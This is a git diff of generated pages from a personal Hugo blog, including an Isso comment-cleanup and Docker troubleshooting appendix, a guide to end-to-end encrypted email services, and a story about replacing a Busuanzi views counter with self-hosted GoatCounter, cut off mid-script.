    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/giscus/page/1/index.html b/public-clearnet/tags/giscus/page/1/index.html new file mode 100644 index 0000000..0f78e62 --- /dev/null +++ b/public-clearnet/tags/giscus/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/giscus/ + \ No newline at end of file diff --git a/public-clearnet/tags/gmail-cse/index.html b/public-clearnet/tags/gmail-cse/index.html new file mode 100644 index 0000000..9c9c809 --- /dev/null +++ b/public-clearnet/tags/gmail-cse/index.html @@ -0,0 +1,11 @@ +Gmail Cse | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/gmail-cse/index.xml b/public-clearnet/tags/gmail-cse/index.xml new file mode 100644 index 0000000..123e157 --- /dev/null +++ b/public-clearnet/tags/gmail-cse/index.xml @@ -0,0 +1,158 @@ +Gmail Cse on AlipourIm journeyshttps://blog.alipour.eu/tags/gmail-cse/Recent content in Gmail Cse on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/gmail-cse/page/1/index.html b/public-clearnet/tags/gmail-cse/page/1/index.html new file mode 100644 index 0000000..f71f81b --- /dev/null +++ b/public-clearnet/tags/gmail-cse/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/gmail-cse/ + \ No newline at end of file diff --git a/public-clearnet/tags/goatcounter/index.html b/public-clearnet/tags/goatcounter/index.html new file mode 100644 index 0000000..6e209d2 --- /dev/null +++ b/public-clearnet/tags/goatcounter/index.html @@ -0,0 +1,11 @@ +GoatCounter | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/goatcounter/index.xml b/public-clearnet/tags/goatcounter/index.xml new file mode 100644 index 0000000..29a2f58 --- /dev/null +++ b/public-clearnet/tags/goatcounter/index.xml @@ -0,0 +1,336 @@ +GoatCounter on AlipourIm journeyshttps://blog.alipour.eu/tags/goatcounter/Recent content in GoatCounter on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
